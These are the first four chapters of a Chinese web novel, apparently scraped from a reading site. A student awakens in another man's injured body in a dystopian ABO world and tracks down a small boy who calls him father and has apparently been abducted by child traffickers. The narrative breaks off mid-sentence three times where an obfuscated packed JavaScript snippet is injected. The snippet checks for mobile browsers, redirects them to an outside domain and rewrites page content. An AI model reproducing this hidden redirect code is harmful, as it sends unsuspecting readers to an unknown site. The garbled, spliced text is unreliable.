《反派他爸不好当》 1. 喜当爹 嘀嗒。 耳边有水声响起。 程书阑睫毛微颤,意识尚未完全清醒,一股钝痛自脑内深处炸开。 他忍不住喘了口气。 好痛。 全身上下都在叫嚣,但脑袋上的痛更强烈,活像被人敲了一棍。 他还没睁眼,就有什么东西扑了上来。 “爸爸!”稚嫩的哭声在耳边响起,是个小孩的声音,趴在他身上,哭得上气不接下气。 程书阑:“……” 他呛出一口气,勉强掀开眼皮,昏暗的视野里,只有一张哭花的小脸格外清晰—— 还真是一个小孩。 一个看上去四五岁大的小男孩。 见他醒来,小孩眼睛一亮,带着哭腔又喊:“爸爸!” “……”程书阑盯着那张惨白的小脸,喉结滚动,勉强挤出一句话,“你快……压死我了……” 小孩闻言,像受惊的兔子般弹起身。 身上的重量消失,程书阑缓了口气—— 当然并没有缓上多少。 浑身还是痛。 他怀疑自己快死了。 他头一次觉得自己身体像一块笨重的石头,或者四肢都被灌满水泥,根本动不了分毫,他拼尽全力,却只能将右手的小拇指稍微抬起一点。 “爸爸……”小孩跪坐在一旁,努力憋住抽泣,眼泪在通红的眼眶里打转,要掉不掉。 这一刻,程书阑后知后觉地意识到什么,沙哑着声音问:“你叫我什么?” “爸爸!”小孩打了个哭嗝,再也压不住情绪,“爸爸你别死……我好害怕呜呜呜……” “……” 程书阑两眼一黑,又昏了过去。 不知道过去多久,程书阑在剧烈的头痛中苏醒,他的脸颊滚烫,喉咙干得冒烟,但身上的钝痛减轻了些。 那个叫他爸爸的小孩不知所踪。 借着窗外透进来的微光,他看清自己躺在一间废弃的屋子里,这里显然很久没住过人,墙皮剥落,蛛网密布,霉斑像丑陋的疤痕爬满天花板。 嘀嗒—— 渗漏的雨水从墙角往下落。 外面传来淅沥的雨声,潮湿发霉的气味裹着空气中飘散的灰尘颗粒,在他的鼻腔里发酵。 这下程书阑可以确定自己没在做梦,而是穿进了一本书里,在他昏睡时,书里的内容和原主的记忆交替浮现。 突然有脚步声响起。 程书阑无法偏头,但能听到门被推开的声响。 很快,一个湿漉漉的小脑袋探进视线里。 是那个小孩。 他浑身被雨水浇透,黑发紧贴头皮,水珠顺着尖下巴不断滴落,巴掌大的小脸无比惨白,衬得那双圆眼大得惊人。 房间里也冷飕飕的,小孩嘴唇发青,身体抖得厉害。 发现程书阑醒了,小孩脸上扬起笑容,眼里都放着光,他高兴地喊:“爸爸,你醒了!” 程书阑看着小孩,试探着问:“诸珠?” 如果他没认错的话,小孩的名字叫诸珠。 “爸爸!”小孩大声回应,话音未落,眼里就已包上泪水,他呜咽着说,“爸爸,我们在哪里?你什么时候才能好起来?我想回家了呜呜呜……” 程书阑本就头痛,听到哭声,只觉脑袋都要炸开了。 “别哭了。”他说。 诸珠一僵,哭声戛然而止,似乎怕他生气,小孩还抬手捂住了自己的嘴巴。 动作间,藏在衣服里的东西掉到地上。 诸珠这才反应过来,连忙捡起来放在自己腿上,他手是湿的,在湿衣服上擦了半天也没擦干,便很用力地甩了甩,想把上面的水甩掉。 程书阑看着诸珠又把手举到嘴边,鼓起腮帮子认真吹了许久,然后拿起一袋面包。 面包一直藏在湿衣服里,包装袋上沾了水,有些滑,诸珠试了几次都没撕开,最后是用牙齿咬开的。 “爸爸,我喂你吃。” 诸珠从袋子里挤出面包,双手捏着,递到程书阑嘴边。 程书阑看了一眼包装袋上那些疑似小孩口水的不明液体,沉默片刻,说道:“你自己吃。” 不是他不饿。 他太渴了,喉咙和脸颊都烧得要命,要是这么吃下一口,估计能直接噎过去。 诸珠看他拒绝,有些急了,把面包往他嘴上怼了怼:“爸爸吃,我不吃,我不饿。” 说完,小孩的肚子立刻发出响亮的抗议。 不饿才怪。 “我口渴。”程书阑说,“有水吗?” “有的有的。”诸珠把面包收回袋子里,放到腿上,拿起一瓶矿泉水,又开始艰难地拧瓶盖。 矿泉水的瓶盖上也沾了水,比面包的袋子还滑,诸珠一会儿用手拧一会儿用牙咬,瓶盖上全是他的唾液。 程书阑简直没眼看。 半晌,诸珠龇牙咧嘴地拧开了被咬得变形且上面都是牙印的瓶盖,他小心翼翼地往瓶盖里倒了点水。 “爸爸喝水。”诸珠将瓶盖递到程书阑嘴边。 “……”程书阑尽量不让自己的目光扫到瓶盖上,连着喝了几盖水,火烧般的喉咙有所缓解。 诸珠拧上瓶盖,又问:“爸爸吃东西吗?” “你吃。”程书阑说。 诸珠的肚子叫了好几次,刚才看着干巴巴的面包,咽了几次口水,小孩又冷又饿,听程书阑这么说,便拿起面包小口啃了起来。 不过啃的速度极快。 程书阑也就歇了歇的功夫,半个面包没了。 诸珠把剩下的面包包好,对程书阑说:“爸爸,我给你留了一半,要是你想吃,我喂你吃。” 程书阑没有回答,他的意识变得模糊,各种碎片化的信息飘来荡去,他消化得极为吃力。 许久,他才找回说话的力气。 “你找找这里有没有干衣服,把你的头发擦一下,最好把你身上的湿衣服也换了。” “好。”诸珠把面包和水放到地上,起身在房间里翻找起来。 房间里什么都没有。 小孩便找去了别的房间。 程书阑也开始昏昏欲睡,那股灼热感卷土重来,且来势汹汹,他不知道自己后面睡了多久,半梦半醒间,他又听见了诸珠的哭声。 诸珠又往他嘴里倒水又往他嘴里塞面包。 程书阑很想睁眼,可他控制不了自己的身体,他连唯一能动的手指都动不了。 他好像在下坠。 下面有一口巨大的油锅,通红的火舌舔着锅底,他有种自己还没掉下去就要被活活烫死的感觉。 好热。 好像被人架在太阳上,下一秒就要融化掉。 程书阑从没这么煎熬过,他拼命想要从束缚中挣脱,可他什么都做不了,只有下坠的速度越来越快…… 越来越快…… 最后他掉进了滚烫的油锅里。 刹那间,万物归于寂静。 小孩的哭声没了。 水声没了。 窗外淅淅沥沥的雨声也没了。 铺天盖地将他淹没的灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647792|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热感骤然消失,他感觉到了些微的凉意,仿佛有层薄纱覆上他的身体,替他扫去了所有不适。 程书阑睁眼看见一缕光从窗外倾斜而下,他下意识地动了动手指,发现整条手臂都能慢慢使上劲了。 身体也恢复了些力气。 他手肘用力,艰难地在地上翻了个身,只这么一个动作,就让他气喘吁吁。 挪到墙边坐好,他几乎用尽全部力气,缓了许久,快要撞出胸膛的心脏终于恢复平静。 这具身体太虚弱了。 受伤加上受凉发烧,在他穿过来前,可能已经在这个地方躺了几天几夜,如果原主不是身体素质更好的alpha,而是beta或者omega,估计程书阑刚穿过来就嗝屁了。 是的。 这是一个abo的世界。 程书阑用混沌的大脑整理出了一些思绪,这本书里有一个身份尊贵的主角攻,是个alpha,还有一个从小流落在外的主角受,是个omega,主角攻受在出生前定了娃娃亲,可惜主角受出生后不久就失踪了,家族寻找无果,为了维持姻亲关系,让主角受的堂哥也就是炮灰受顶上去。 炮灰受也是一个omega,是家族里最不受宠的一个,他的omega爸爸死得早,alpha爸爸是个精神力连C级都够不上的废柴,炮灰受喜欢主角攻,一直以主角攻未婚夫的身份自居,然而十多年后,主角受被找回来了,并在一场宴会上和主角攻相遇,彼此一见钟情。 结果可想而知,炮灰受和主角攻的婚事被取消,他眼睁睁看着主角攻受订婚、结婚、生子一条龙,然后黑化。 炮灰受做了不少丧尽天良的事,下场自然凄惨。 很不幸的是—— 程书阑就穿成了这个炮灰受…… 的alpha爸爸。 程书阑:“……” 但很奇怪的是,原主的记忆里压根没有诸珠的存在,甚至还没发展到和诸珠的omega爸爸结婚的地步,原主和他一样大,也是今年18岁,才通过特殊考试成为厄瑞涅国主城军事学院的大一新生。 军事学院在每年秋冬交替时都会举办一场大规模的训练,除非必要情况,所有大一新生必须参加。 训练由主要负责外城的巡逻和防御的诸家带头组织,将所有参加训练的大一新生随机投放到各个外城,训练为期三个月,从今年11月到来年1月,校方每日都会发布固定任务和随机任务,都和清理感染源有关,完成任务即可获得积分,等三个月结束,校方会按照总积分的高低公布排名情况。 原主被投放在了第9城,这里资源匮乏,到处都是污染源,按理说是个刷积分的好地方,可架不住原主是个废柴alpha,连每日任务都完成不了。 这天,原主准备离开第9城,却意外中了他人的埋伏。 那个人戴着头盔,看不见脸,肩膀上扛着一个火箭炮,二话不说轰向原主。 原主残血逃跑,躲进这栋废弃大楼里,勉强捡回一条命。 就在这个节骨眼上,程书阑穿过来了。 然而不久前,程书阑还坐在午间的教室里,刚复习完书上的内容,准备趴在课桌上睡一会儿。 前面的黑板上还挂着高考的倒计时,只剩211天。 程书阑不知道自己靠在墙边坐了多久,窗外的光逐渐消散,黑暗降临,等天再次亮起,他依然没有理出头绪。 脑子里很乱。 不过他唯一确定的是—— 那个小孩已经很久没回来了。 小孩失踪了。 2. 小孩失踪 程书阑扶着墙,艰难地站起身。 原主伤得不轻,被炸飞了几米远,作战服破烂不堪,防护功能全无,只剩下勉强蔽体的作用。 以这种重伤程度,没在医院里休养上几个月就能自己爬起来,不得不说,alpha的身体素质确实远远超出了程书阑的认知。 他撑在墙上,把自己从头到脚检查了一遍,他满身是伤,其中两处伤得极深,皮肉翻裂开来,甚至能看见血肉模糊的皮下组织,可惜作战服材质特殊,沾满了干涸的血块和灰尘,难以撕开,他只能暂时放弃处理伤口。 程书阑走路还很困难,步履蹒跚,每走几步就得停下来喘口气,好在最终还是慢慢挪到了大门口。 他推开防盗门。 门外是一条狭长的走廊。 这栋楼很像他曾经见过的公寓楼,每一层都有十几二十户人家,统一朝向走廊开门。 但这里废弃多年,走廊上积灰厚重,前几天又下了雨,雨水斜飘进来,地面湿滑泥泞,混杂着灰尘的水洼遍布各处,几乎无处落脚。 程书阑向外望了一眼。 外面的景象与原主记忆中的第9城相差无几,由于植物稀缺,整座城市呈现出灰白与黑交织的色调,楼宇密集,从高处俯瞰,压抑得令人窒息。 今天的天气依旧阴沉,乌云密布,能见度极低。 程书阑在地上发现了诸珠的脚印,有去有回,脚印多而杂乱,显然是来回跑了多次。 他顺着脚印来到走廊一侧,发现它们一路延伸至楼梯下面。 这座大楼很高,却没有任何电梯,只有螺旋状的楼梯。 程书阑略一犹豫,还是跟着脚印下了楼,只是他体力不支,下楼的速度极为缓慢,下完六层,眼前就已一阵发黑。 楼下空无一人,脚印也在一楼尽头戛然而止。 他四处寻找一圈,毫无收获,最终走向不远处唯一开着的一家超市。 超市不大,门窄得仅容一人通过,程书阑刚走进去,电子门铃便叮铃铃地响。 柜台后坐着一个女人,正低头织毛衣,听见声音,她抬起头:“要买什么?” 话音未落,她看清了程书阑浑身是血的模样,脸色骤变,猛地站起。 “出去!” 她扔掉手里的东西,拉开抽屉,迅速抄起一把手枪。 眨眼间,黑洞洞的枪/口对准了程书阑的脑袋。 程书阑被女人激烈的反应吓到,大脑来不及做出思考,身体已配合地往后退了数步。 动作太急,他只觉得一阵天旋地转,几乎站不稳。 “我……我没想干什么……”他气喘吁吁,“我只是在找人…… 女人闻言,警惕中多了一丝狐疑,她从枪后探出头,仔细打量了程书阑一番,才缓缓放下手枪。 “原来不是。”女人松了口气,走到程书阑面前,上下打量着他,“抱歉啊,我以为你是感染者。” 程书阑知道“感染者”,顾名思义就是那些被不明病原体感染的人类,与变异生物一同被称为“感染源”。 他缓了口气,低声问:“请问你有没有见过一个四五岁的小男孩?穿着黑色背带裤,里面是一件白色毛衣。” 女人一听,立刻来了反应:“哦,是不是这么高?” 她拿着手枪比了个腰间的位置。 “眼睛很大,头发有些长?”她又补充道。 “对,就是他。”程书阑问,“你见过他吗?” 女人沉默,盯着他看了几秒,忽然问道:“他是你弟弟?” 程书阑没料到女人会问这个,一时没反应过来。 女人倒是聪明,居然看出了些什么,话锋一转:“哦,他是你儿子啊?” “……”程书阑不久前还是一个正经高中生,实在不想承认自己有个这么大的儿子。 片刻,他才开口:“算是吧。” “算是?”女人发出一声嗤笑,“你看着也不大,二十都不到吧?这么早就当爸了。” 她回到柜台后,放好手枪,捡起地上织了一半的毛衣。 “那孩子来店里偷过好几次东西,每次都被我抓到,看着可怜,我就放他走了。”女人说,“没想到他还有家长,你来得正好,把之前欠的账结了吧。” 程书阑:“……” 女人拿出一个计算器,啪啪一顿按。 “278信用点。”她指着柜台上一个小圆片,“在这里刷。” 程书阑在身上一阵摸索,摸到了一个不足巴掌大小的黑色通讯器,原主携带了两个通讯器,一个是学校发的,一个是私人用的。 学校发的那个早在遇袭时被炸没了,剩下这个也没了外壳,不知道能不能用。 程书阑按照原主的记忆操作了下,然后将通讯器贴到小圆片上。 试了两三次,电子音才响起:“已支付278信用点。” 女人看向程书阑。 她并不惊讶对方这副模样,只要不是感染者就行,她对在第9城发生的任何事都不感到意外。 很多人今天还活蹦乱跳,明天就死了,或者像感染者那样半死不活。 这就是外城人的生活常态。 “你伤得很重,衣服也烂了,需要药包吗?大的600信用点,小的400信用点,我这里还有衣服,应该可以找到你能穿的……” 程书阑双手撑在柜台上,打断女人滔滔不绝的话:“你是不是见过那个小孩?你知道他去哪儿了吗?” 女人收起话头,重新坐回椅子上。 “我是见过他。”她说,“但都是几天前的事了,那些天一直下雨,他连伞都不打,跑进店里偷面包,结果被我抓住,问他什么都不说,只会哭。” 几天前? 原来过去那么久了。 程书阑不知道自己昏睡了多久,时间对他来说模糊不清,他追问道:“然后呢?” “没然后了。”女人没好气地说,“面包都被他捏变形了,卖不出去,他又付不起钱,我能怎么办?” 说完,女人又安慰他。 “现在时间还早,说不定你儿子只是出去玩了,中午就回来了,你还是先照顾好自己吧,流了这么多血,万一遇到感染源就完了……” 程书阑低声道:“他昨晚就没回来。” 女人一怔,顿时坐直身体,也拔高了声音:“昨晚?都过去这么久了,你才想起来找他!” “我之前受了伤。”程书阑解释。 女人看他一眼,想说什么,又咽回去了,思考片刻,她站起身问:“你最后一次见到他是什么时候?” “不清楚。”程书阑说,“他白天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647793|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候就不在了。” “也就是说你儿子失踪了有一天一夜。”女人说,“他平时到点都会自己回家吧?” 程书阑哪儿知道这些? 他又不是那个小孩真正的爸爸。 但话说回来,原书里的原主也不见得对诸珠有多好,从小非打即骂,各种贬低,所以诸珠才会在长大后那么嫉恨被找回来后受尽宠爱和关注的原主受,也拼了命地要和原主受抢原主攻。 不过他在昏睡时能感觉到诸珠给他喂了很多次水,小孩知道从外面偷东西给他,应该也不会乱跑吧? 至少不会一天一夜不回来找他。 想到这里,程书阑心里有了不好的预感。 女人观察着他的表情,突然说道:“你在通讯器上搜索‘沃斯诊所’,过去后面向诊所往左绕,会看到一栋被涂成褐色的楼,上面有一个‘星星旅馆’的招牌,招牌下面有一个院子,你可以趁晚上他们休息的时候翻进去,也许能在里面找到你儿子。” 程书阑愣道:“什么意思?” “你儿子可能被拐走了。” 女人也不绕弯子,直白地说。 “那边有个姓李的,专门做小孩买卖,从其他地方拐了小孩过来,听说大部分送去了内城,不知道送到了哪里,但想也知道不是什么好去处,他一般不拐这附近的小孩,你们刚搬过来吧?你儿子一个人在外面跑,又是一张生面孔,要是遇到那个姓李的,被拐也就是顺带的事。” 女人靠回椅子上,看程书阑脸色难看,转而又说。 “但这只是我的猜测,你也可以再到处找找,万一找到了呢?反正别把希望寄托在那些管理员身上,他们可不会帮你找孩子,也对那个姓李的睁一只眼闭一只眼。” 程书阑有心打听那个姓李的人的更多信息,可女人摆了摆手,不再多说。 离开前,程书阑还是买了一套衣服和一个大的药包。 药包是一个装得鼓鼓囊囊的塑料袋,里面有止血凝胶、止痛药、营养补充剂等,还有一些简单的缝合工具,酒精和消毒水也都各有一大瓶。 程书阑让女人帮他清理了伤口,但没做更多的处理,穿上衣服,提起塑料袋,便走出了超市。 他回到大楼前,坐到楼梯上,开始捣鼓没了外壳的通讯器。 记忆中通讯器可以在半空中投射出一块半透明的屏幕,可他点了半天都没反应。 通讯器的小屏幕右上角的信号显示断断续续。 程书阑第一时间点进通讯软件。 列表里最后一个发来消息的人是程家的管家,时间是十多天前,原主向管家报了平安,管家叮嘱了很多话。 记忆中原主和管家的关系最好,原主几乎是管家一手带大的。 程书阑尝试拨去语音。 信号是有,可几通语音都被自动挂断。 再拨过去,屏幕上直接显示“失败”两个字,他抬眼看去,只见代表信号的三条竖线全变灰了。 还好地图能用,程书阑试着搜索了下去沃斯诊所的距离,屏幕上很快显示出一条4.6公里的路。 他盯着小屏幕看了一会儿,随即拿着通讯器到处找信号,可那三条竖线始终是灰色的。 半晌,他放下手,慢慢从楼梯上站起来。 不管怎样,得先找一下那个小孩。 3. 被拐 程书阑跟着地图的指引往前走。 这个世界和他想象中很不一样。 他所在的国家名叫厄瑞涅国,由一座主城以及向外辐射开来的十二座城组成,除主城外,其他城都以数字命名。 包括第5城在内的以上几城为内城,有军队二十四小时轮值,居民们的安全在很大程度上得到保障,第5城以下为外城,住在外城的人鱼龙混杂,没有治安可言,且在外城极易遇到感染源,内城居民除非必要,不会轻易踏足外城。 厄瑞涅国由王室统治,下面有一个诸家以及安、程、裴、池四大家族,加上拥簇他们的那些中小家族,组成了厄瑞涅国的贵族圈层。 原主便是其中程家的长子。 不过原主在家族中并不受宠,虽然是个alpha,但是精神力只有D级,且这十几年来没有任何增长,以原主的资质,如果没有家族关系,压根进不去主城军事学院。 原主还有一个同父异母的alpha弟弟,名叫程书意,是原书里主角受的alpha爸爸,和原主比起来,程书意集齐了所有优点。 最重要的是—— 程书意的精神力已在今年升到B+,突破A级是迟早的事,早就远超其他同龄人一大截。 而且程书意也是今年的军事学院大一新生,换句话说,程书意也在这次的训练中。 程书阑停下来休息,因为想得太多,他有些头昏。 也可能是之前失血过多。 地图上显示距离沃斯诊所还有2公里,这段路对以前的他来说不算什么,可现在走走停停,龟速前行。 深冬即将来临,前些天又下过雨,吹来的风都冷飕飕的。 一路上没什么人。 偶尔碰到几个也是从头到脚全副武装,看也不看他一眼,低头匆匆而过。 直到走近沃斯诊所,视线里的人才一下子增多。 沃斯诊所位于十字路口,大门往两边敞开,从里面排了一条长龙出来,都是穿得灰扑扑的居民们,和程书阑不久前碰到的那些人一样,宽大的围巾裹住了头和脸,只露出一双眼睛和半边鼻子。 程书阑走上楼梯,只见队伍排进了一间办公室里。 一个裹得比居民们更厚的女生拿着名单站在办公室门外,瞧见了探头探脑的程书阑,她用手里的笔指向他。 “喂。”女生厉声喝道,“你不能插队,去后面排队。” 程书阑转身要下楼梯。 女生又喊住他:“等等。” 程书阑只好停下。 女生几步走过来,表情严肃,仔细观察程书阑的脸,片刻,像是确定了什么,她的眉眼略有放松。 “好了,去排队吧。”她说。 程书阑想也知道自己又被当成感染者了,他现在确实虚弱,被怀疑也不奇怪。 但那些居民一直都没正眼看他,眼神浑浊而麻木。 程书阑没有过去排队,而是按照超市老板所说,往诊所左边绕去,没走多久,果然看到一栋被涂成褐色的楼。 楼的一侧挂着一个“星星旅馆”的竖向招牌。 招牌下面有一个被围起来的院子,看不出面积大小,但围墙不算高,目测只有一米多长,很容易翻过去,墙头也没镶嵌碎片之类的防贼措施。 程书阑顾及自身情况,不敢轻举妄动,沿着围墙继续绕,很快找到另一头的铁门。 铁门紧闭,上面挂着一把锃亮的大锁。 程书阑确认四下无人,便轻手轻脚地走过去往里望。 里面空荡荡的,只停了一辆被涂鸦成黑白色的皮卡车,车身很脏,溅满污泥,像是前些天在外面跑过,没来得及清洗。 院子三面都是围墙,剩下那面由旁边那栋褐色的楼组成,墙壁正中间嵌了一扇将近两米高的深绿色防盗门。 防盗门也是紧闭状态。 程书阑看了半天,没看到一楼的窗户,防盗门上面的楼层倒是有窗户,但都被木条从里面封死了,什么都看不到。 就在这时,防盗门里冷不丁地传出轻微声响。 程书阑心头一紧,连忙往旁躲到围墙后面。 下一秒,就有一阵脚步声和说话声一起传来,院子里十分安静,因此他能清楚听见里面的动静,有两个人从楼里出来,正在边走边说话。 “这批货物够了吧?什么时候送过去?”一道粗犷的男声开口。 “你急什么?” 另一个人的声音又尖又细,有些刺耳。 “几天前才送了一批过去,这才多久,又给他们送?”尖细男声说,“再说了,东西贵精不贵多,我们这次可是捞着一个宝贝,上赶着把宝贝送过去,还赚个屁的钱,等老大多联系些人,让他们竞价,价高者得,反正宝贝在我们手里,不怕找不到买家。” “你说得是。”粗犷男声嘿嘿一笑,“我在第9城呆了这么久,污染源见得多,可omega还是第一次见,和传说中没什么不同嘛,要不是老大眼睛尖,我就当成小beta来处理了。” “omega也有精神力,你别掉以轻心。”尖细男声提醒。 “有精神力又怎样?他等级再高也只是一个小孩,我一只手就能把他捏死。”粗犷男声不以为然。 两人走到车前,先后打开车门。 程书阑听到这里,猜到那两个人要开车出来,准备找个地方躲起来。 就在这时,一只手突然拍在他的肩膀上。 程书阑吓得心里咯噔一下,在感受到那只手抓在自己肩膀上的力道后,他后背的冷汗唰的一下全冒出来了。 扭头就见一个长得极为高大的男人。 男人皮肤黝黑,有着一身结实的肌肉,从眼皮到嘴角有一条伤疤,像蜈蚣一样,占据了右半边脸,那双眼睛呈倒三角形,冷冷盯着程书阑。 程书阑:“……” 毫无疑问,如果发生冲突,此时此刻的他没有任何胜算。 哪怕对方很有可能只是一个beta。 在原主的记忆中,从未出现过这么魁梧的beta。 beta没有精神力,各方面条件都不如占有先天优势的alpha,当然也有例外,不过那些万里挑一的优秀beta都会被主城里的各个部门招揽。 “你找谁?”男人语气不善。 程书阑喉咙发紧,脑子却在疯狂转动,很快,他回答道:“我找沃斯诊所。” 男人无动于衷,也没拿开放在他肩膀上的手,半晌,说了一句:“你不住这里。” 程书阑说:“我刚搬过来。” 男人没有接话,将他从头到脚地扫了一遍,问道:“从其他城来的?” 程书阑点头。 “遇到感染物了?” 程书阑一愣,随即反应过来男人在说他的伤——身上的是被衣服遮住了,但脸上和手上的还露在外面。 他讪笑下:“确实在路上遇到了一些麻烦。” 男人拿开手,指向程书阑身后:“右转,十字路口。” 程书阑草草道完谢,转身便走。 他回到主路,匆匆赶回沃斯诊所,由于走得太急,身上的伤处被动作牵扯,每走一步都痛得他直冒冷汗。 停下脚步,他眼前一阵晕眩,强撑着才没让自己倒下。 松开提着塑料袋的手。 手心里都是冷汗。 程书阑没敢在沃斯诊所外面逗留太久,马不停蹄地往回走了。 一来一回将近10公里的路,加上中间耗费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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营养补充剂是几管白色的半透明液体,长度刚好够上一个巴掌,不知道是不是比较廉价的原因,吃起来有种塑料感,当液体滑进喉咙里时,程书阑恶心得几乎反胃。 不过饱腹感确实有。 几管营养补充剂下肚,胃里那种灼烧般的感觉明显在慢慢消散。 他拿出通讯器看了看时间。 上午十一点。 这一觉睡了十几个小时。 许是大脑得到了充足的休息,他混沌的思维变得清晰不少,尽管身上痛感还在,却已不如昨天那般强烈。 通讯器依然没有信号。 程书阑倒是想起什么,在地图上搜了一下第9城的安全点。 学院在每座城里设立了安全点,学生们遇到任何意外情况,都可以用学院发的通讯器联系安全点,然后在原地等待救援即可。 然而现在程书阑没有这个条件。 就算他的私人通讯器能用,也无法联系学院的安全点,唯一的办法是他自己找过去。 只是—— 程书阑看着地图上显示出来的305公里的距离,沉默许久,绝望地仰了下头。 这么远的路自然不可能走着去,可乘坐交通工具的话需要信用点,要是他的通讯器能用,他肯定是第一时间联系程家的管家。 这么一来,事情陷入了死循环。 思考片刻,程书阑起身拍掉身上的灰尘,决定先去沃斯诊所那边看看。 虽然那些人不急着卖掉诸珠,但是以防万一,他还是得过去盯着。 而且他还不能确定那个小omega就是诸珠。 下了楼,不知怎的,昨天还漫长如跋涉的四五公里的路,今天竟然走得颇为轻快。 才用一个多小时,便已到达沃斯诊所。 4. 冒充 天空上依然笼着一层阴霾。 沃斯诊所外面还是排着长龙,程书阑绕过诊所,来到那栋眼熟的褐楼外面。 大门在围墙另一头,想要过去,需要绕过围墙和另一栋楼之间的巷子。 昨天程书阑就是从那条巷子进去的。 他原以为巷子尽头通往褐楼那头的街道,进去后才发现尽头是一堵用杂乱的砖头砌起来的墙,那头的路被堵死,里面的人想要出来,只能从那条巷子出来。 不对。 还有那栋褐色的楼。 程书阑往前绕了半圈,很快找到褐楼的大门。 那栋褐楼像是一栋公寓,一楼大厅的面积很小,一个老头坐在破旧的木桌后面,抱着双臂打瞌睡,不知道有没有听见他的脚步声,他走进去后,老头连眼皮都没抬一下。 程书阑看到老头背后的墙上挂了一张巨大的楼层索引图,其中一到六层都被做成了旅馆房间,名字就叫“星星旅馆”。 “要入住吗?” 程书阑的思绪被打断,他才注意到老头不知何时睁开了眼。 他想了一下,问道:“住宿多少钱?” “有大中小三种房间,大的399信用点,中的299信用点,小的199信用点。”老头说。 “小的有多小?” 老头似乎被问多了这种问题,并不觉得烦,只是也没有从椅子上站起来的意思。 “你自己去看。” 老头指了一下右边。 “白色门牌是小的,灰色门牌是中的,黑色门牌是大的,门关着说明有人住,空房的门都开着,你看好哪一间过来把信用点刷了,做个登记,楼上的房间都是一样的,也可以去楼上选。” 木桌右边就是走廊入口,里面光线昏暗,每隔两三米才有一盏小灯照明,旅馆的生意应该不是很好,只有几扇门关着,大多房间门都半敞开着。 程书阑有意往院子的方向走,可走廊七拐八绕,里面房间又多,他走到后面,都有些分不清方向了。 他仔细看了许多房间,发现这里还真是旅馆的布置,丝毫不像是一个藏人的窝点。 不过也许他们不在这里藏人。 难道这里只是一个据点? 程书阑检查完墙壁,便放下窗帘,房间里没有窗户,窗帘就是摆设,掀开后只能看到一堵墙。 他转身往外走。 刚拉开虚掩着的房间门,突然听见外面传来一阵有些杂乱的脚步声,本来模模糊糊,听不真切,但门一拉开,声音一下子就变得清晰起来了。 程书阑身体的反应速度快过大脑,他立即后退一步,轻手轻脚地把门掩了回去。 他屏住呼吸,将耳朵靠近门缝。 脚步声是朝这边来的,只用两三秒的时间,就走到了他所在的房间门外。 不过那些人没有说话,也没有停留。 程书阑侧身贴着墙壁,透过门缝往外看,看到了两个男人的背影,一个男人戴着帽子,一个男人穿着浅灰色的格子大衣。 这时,大衣男忽然偏头对旁边的人说了句话。 程书阑看着大衣男的侧脸,很快认出了男人的身份——莱特医生。 那是沃斯诊所里唯一的医生。 而沃斯诊所是这一带唯一会为居民们提供免费体检的地方,这是沃斯诊所外面每天都排着长龙的主要原因。 程书阑今早特意打听过这些消息,他记得自己来的时候,莱特医生还在诊所里工作,怎么转眼就跑来这里了? 他推开门,小心翼翼地跟上去。 莱特医生和帽子男还在交谈,然而他不敢靠得太近,所以什么都没听到。 见莱特医生和帽子男在大楼门口停下,程书阑也赶紧找了个地方躲起来。 老头坐的木桌左侧正好放了一个半人多高的盆栽,里面不知道种的什么植物,绿叶舒展,生得很茂密。 程书阑弓着腰背,做贼似的躲在盆栽后面,扭头就看到老头一脸莫名其妙地盯着自己。 他沉默片刻,对老头尬笑了下。 老头没有吭声,眼皮开始要落不落,又打起瞌睡来。 程书阑:“……” 他索性将目光投回莱特医生身上,不料又看到一个眼熟的身影。 昨天在院子外面拦住他的那个魁梧男不知何时走到莱特医生身边,双手背在身后,面无表情地用那双吊三角眼睛盯着帽子男。 帽子男脸色发青,不太高兴,还想说什么,可瞥见魁梧男的身形,只好把话咽了回去。 不一会儿,魁梧男离开,莱特医生也往沃斯诊所那边去了,剩下的帽子男在原地站了有几分钟,转身朝另一个方向走了。 程书阑跟在帽子男后面。 帽子男明显有些焦虑和烦躁,脚步很快,一下子转进了一条巷子里,还没停下,便摸出通讯器拨了一个联系方式。 这下程书阑没有离得太远,他动作很轻地贴墙过去,在一个死角位置站好。 他竖起耳朵,正好能听清楚帽子男的说话声。 “我尽力了,他们说什么都不肯在今天定下来,等明天才给答复,亏他们还开诊所,做的全是黑心肝的事。” “我已经把钱往上提了20万,他们就是咬紧了牙不松口,我实在没有办法。” “还不知道明天是什么情况,那个姓李的给我开好房了,让我休息到明天上午九点下去集合,到时候还要来不少人,估计想要我们竞争。” “真是可惜了,难得见到一个年纪这么小的omega,可塑性很强,还说今天就带回去好好培养,等几年可以顶上那个位置。” 帽子男原本背对程书阑,似乎准备挂语音了,一边说话一边回过身来。 程书阑见状,下意识地要往后避,可在听清楚那些话后,动作不自觉地僵了一下。 他看了一眼男人的帽子。 帽檐压得很低,遮挡了男的上半张脸。 这一刻,一股冲动蓦地窜上来,没有更多犹豫,他猛提口气,弯腰捡起地上半块砖头,三步并做两步地朝帽子男走去。 他走得极快,没能刻意压住脚步声。 没想到帽子男的反应速度也快,听见声音,刷了一下扭回头来,因过度惊吓而骤然收缩的瞳孔里映出程书阑手里扬起的半块砖头。 帽子男没有任何怔愣,立马就往旁躲。 